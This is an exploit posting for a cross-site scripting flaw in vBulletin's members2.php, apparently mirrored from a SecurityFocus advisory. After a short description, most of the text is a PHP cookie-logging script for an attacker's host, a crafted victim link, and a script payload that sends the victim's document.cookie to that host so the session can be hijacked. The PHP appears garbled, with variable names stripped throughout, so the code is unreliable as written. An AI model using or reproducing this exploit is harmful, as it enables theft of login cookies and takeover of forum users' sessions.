source: https://www.securityfocus.com/bid/6246/info Due to insufficient sanitization of user supplied values, it is possible to exploit a vulnerability in VBulletin. By passing an invalid value to a variable located in 'members2.php', it is possible to generate an error page which will include attacker-supplied HTML code which will be executed in a legitimate users browser. This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. The attacker may use cookie-based authentication credentials to hijack the session of the legitimate user. - Run this script on some host: <?PHP // vBulletin XSS Injection Vulnerability: Exploit // --- // Coded By : Sp.IC (SpeedICNet@Hotmail.Com). // Descrption: Fetching vBulletin's cookies and storing it into a log file. // Variables: = "Cookies.Log"; // Functions: /* If (['Action'] = "Log") { = "<!--"; = "--->"; } Else { = ""; = ""; } Print (); */ Print ("<Title>vBulletin XSS Injection Vulnerability: Exploit</Title>"); Print ("<Pre>"); Print ("<Center>"); Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n"); Print ("Coded By: <B><A Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">"); /* Print (); */ Switch (['Action']) { Case "Log": = ['Cookie']; = StrStr (, SubStr (, BCAdd (0x0D, StrLen (DecHex (MD5 (NULL)))))); = FOpen (, "a+"); FWrite (, Trim () . "\n"); FClose (); Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"0; URL=" . ['HTTP_REFERER'] . "\">"); Break; Case "List": If (!File_Exists () || !In_Array ()) { Print ("<Br><Br><B>There are No Records</B></Center></Pre>"); Exit (); } Else { Print ("</Center></Pre>"); = Array_UniQue (File ()); Print ("<Pre>"); Print ("<B>.:: Statics</B>\n"); Print ("\n"); Print ("^ Logged Records : <B>" . Count (File ()) . "</B>\n"); Print ("^ Listed Records : <B>" . Count () . " </B>[Not Counting Duplicates]\n"); Print ("\n"); Print ("<B>.:: Options</B>\n"); Print ("\n"); If (Count (File ()) > 0) { ['Download'] = "[<A Href=\"" . . "\">Download</A>]"; } Else{ ['Download'] = "[No Records in Log]"; } Print ("^ Download Log : " . ['Download'] . "\n"); Print ("^ Clear Records : [<A Href=\"" . . "?Action=Delete\">Y</A>]\n"); Print ("\n"); Print ("<B>.:: Records</B>\n"); Print ("\n"); While (List ([0], [1]) = Each ()) { Print ("<B>" . [0] . ": </B>" . [1]); } } Print ("</Pre>"); Break; Case "Delete": @UnLink (); Print ("<Br><Br><B>Deleted Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>"); Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"3; URL=" . ['HTTP_REFERER'] . "\">"); Break; } ?> - Give a victim this link: member2.php?s=[Session] &action=viewsubscription&perpage=[Script Code] - Note: You can replace [Script Code] with: -- ><Script>location='Http://[Exploit Path]?Action=Log&Cookie='+ (document.cookie);</Script> - Then go to Http://[Exploit Path]?Action=List